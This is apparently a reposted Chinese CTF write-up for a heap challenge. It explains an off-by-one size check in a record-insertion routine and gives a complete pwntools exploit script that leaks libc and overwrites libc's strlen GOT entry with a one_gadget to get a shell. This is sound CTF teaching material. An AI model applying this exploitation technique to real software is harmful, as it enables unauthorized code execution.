程序分析
第一眼菜单堆题,但程序本身实现了一个数据结构:表结构(page)储存Record
逆向出的page结构体如下,记录分配的内存以及record记录。然后堆内还存在一个数据结构records。两个结构之间的关系如图(请忽略我粗劣的画工)- struct TablePage
- {
- void *mem; // 分配的堆内存地址
- void *records_end; // record结尾,在GetSlotNum函数中用于计算有多少个record
- void *mem_offset; // 空闲内存,每次申请record从堆内存尾部分割
- void *records_ptr; // record开始,在EditRecord函数用于索引到指定record
- };
- struct recordInHeap
- {
- uint16_t offset; // record内容在堆内的偏移
- uint16_t size; // record的大小
- };
复制代码 这里为什么要专门要创建一个recordInHeap结构体呢,主要是和菜单选项里的Record结构区分开来
堆内的records数组是向高地址生长,而内容则是向低地址生长
漏洞在于InsertRecord时,对堆内的剩余空间计算存在问题
page->mem_offset - page->records_end + 1 < Size + 4,我们只要令 申请的size +4= 剩余空间 + 1,就存在一字节的溢出。
然后memcpy复制的起始地址是page->mem_offset - Size,覆盖的是recordInHeap的size段的高位,接下来我们就可以进行愉快的堆溢出啦
之后就是常规的堆利用了,有很多利用思路,这里我选择劫持libc.got
起首leak出libc地址,然后通过溢出劫持TablePage结构体来实现任意写,修改libc的got.plt的strlen为one_gadget
由于程序打印menu时会调用puts函数,而puts函数内部又调用了strlen函数,触发ogg
exp
- from pwn import *
- import struct
- def debug(c = 0):
- if(c):
- gdb.attach(p, c)
- else:
- gdb.attach(p)
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- def get_sb():
- return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
- sd = lambda data : p.send(data)
- sa = lambda text,data :p.sendafter(text, data)
- sl = lambda data :p.sendline(data)
- sla = lambda text,data :p.sendlineafter(text, data)
- rc = lambda num=4096 :p.recv(num)
- ru = lambda text :p.recvuntil(text)
- rl = lambda :p.recvline()
- pr = lambda num=4096 :print(p.recv(num))
- ia = lambda :p.interactive()
- l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
- l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
- uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
- uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
- int16 = lambda data :int(data,16)
- lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
- lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))
- context(arch = "amd64",os = "linux",log_level = "debug")
- #context.terminal = ['tmux','splitw','-h']
- context.terminal = ['konsole', '-e', 'sh', '-c']
- #context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
- file = "./pwn"
- libc = "./libc.so.6"
- p = process("./pwn")
- elf = ELF(file)
- libc = ELF(libc)
- def add(idx):
- ru(">>>")
- sl(b"1")
- ru("Index:")
- sl(str(idx))
- def edit(idx,sid,size,content):
- ru(">>>")
- sl(b"5")
- ru("Index:")
- sl(str(idx))
- ru("Slot ID:")
- sl(str(sid))
- ru("Varchar Length:")
- sl(str(size))
- ru("Varchar:")
- sd(content)
- def insert(idx,size,content):
- ru(">>>")
- sl(b"3")
- ru("Index:")
- sl(str(idx))
- ru("Length:")
- sl(str(size))
- ru("Varchar:")
- sd(content)
- def show(idx,sid):
- ru(">>>")
- sl(b"4")
- ru("Index:")
- sl(str(idx))
- ru("Slot ID:")
- sl(str(sid))
- def delete(idx):
- ru(">>>")
- sl(b"2")
- ru("Index:")
- sl(str(idx))
- for i in range(10):
- add(i)
- for i in range(9, 1, -1):
- delete(i)
- payload = p8(0x5).ljust(0x401 - 4, b'a')
- insert(1, 0x401-4, payload)
- show(1, 0)
- ru(p64(0x3d1))
- libcbase = uu64() - 0x21ace0
- libc.address = libcbase
- libc_got = libc.got["malloc"] + 0xa8
- insert(0, 0x401-4, payload)
- oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
- payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
- edit(0, 0, len(payload) ,payload)
- lgn("libcbase", libcbase)
- lgn("strlen got", libc_got)
- debug()
- pause()
- insert(1, 8, p64(libcbase + oggs[1]))
- ia()
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |